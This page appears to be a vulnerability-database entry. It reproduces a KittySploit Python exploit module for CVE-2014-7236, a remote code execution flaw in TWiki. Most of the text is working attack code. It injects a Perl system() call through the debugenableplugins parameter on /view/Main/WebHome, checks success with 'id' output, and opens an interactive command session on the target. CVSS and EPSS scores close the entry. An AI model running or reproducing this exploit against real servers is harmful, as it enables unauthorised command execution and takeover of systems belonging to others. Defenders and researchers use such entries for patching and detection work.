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TWiki debugenableplugins RCE (CVE-2014-7236)

🗓️ 04 Sep 2026 06:36:51Reported by KittySploitType 
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Perl RCE in TWiki via debugenableplugins on /view/Main/WebHome.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TWiki debugenableplugins Perl RCE (CVE-2014-7236) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TWiki debugenableplugins RCE (CVE-2014-7236)',
        'description': (
            'Exploits CVE-2014-7236 Perl injection via debugenableplugins on '
            '/view/Main/WebHome. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-7236'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-7236',
        ],
        'tags': ['twiki', 'perl', 'rce', 'unauth', 'cve-2014-7236'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'debugenableplugins Perl system'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2014_7236_detect'],
            },
        },
    }

    base_path = OptString('', 'TWiki base path', False, advanced=True)

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['', '/twiki', '/wiki']

    def _inj(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        return (
            'BackupRestorePlugin;print("Content-Type:text/html\\r\\n\\r\\n");'
            f'print(system("{safe}"));exit'
        )

    def execute(self, cmd: str) -> str:
        q = '?debugenableplugins=' + quote(self._inj(cmd), safe='')
        bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
        for base in bases:
            if base is None:
                continue
            path = f'{base}/view/Main/WebHome{q}'
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r:
                self._hit_base = base
                return r.text or ''
        return ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2014-7236 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'debugenableplugins did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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04 Sep 2026 06:36Current
8.4High risk
Vulners AI Score8.4
CVSS 26.4
CVSS 3.19.1
EPSS0.55637
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